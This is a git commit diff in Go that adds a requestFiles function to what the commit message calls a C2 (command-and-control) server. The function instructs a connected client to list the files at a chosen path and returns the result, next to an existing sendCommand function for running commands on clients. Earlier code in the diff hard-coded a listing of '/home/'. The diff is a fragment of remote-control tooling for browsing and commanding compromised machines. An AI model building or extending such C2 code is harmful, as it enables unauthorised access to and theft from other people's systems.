Add C2 server function to request file listings

This commit is contained in:
raul 2024-06-17 10:04:31 +02:00
parent 14dbae3140
commit 063f46dcfd
1 changed files with 12 additions and 14 deletions

View File

@ -117,22 +117,20 @@ func handleConn(conn net.Conn) {
} }
go Heartbeat(ID) go Heartbeat(ID)
time.Sleep(time.Second * 1) }
fmt.Println("ATTEMPT")
client, _, _ := returnClient(ID) func requestFiles(client Client, path string) (Response, error) {
client.Instruct( inst := Instructions{
Instructions{
IsListFiles: true, IsListFiles: true,
Path: "/home/", Path: path,
}, }
) client.Instruct(inst)
message, err := ServerMessageReceiver(conn) message, err := ServerMessageReceiver(client.Conn)
if err != nil { if err != nil {
log.Print(err) log.Println(err)
} return message, err
for _, v := range message.FileList.File {
fmt.Println(v.Name, v.FullPath, v.IsFolder)
} }
return message, nil
} }
func sendCommand(client Client, command string) (Output string, err error) { func sendCommand(client Client, command string) (Output string, err error) {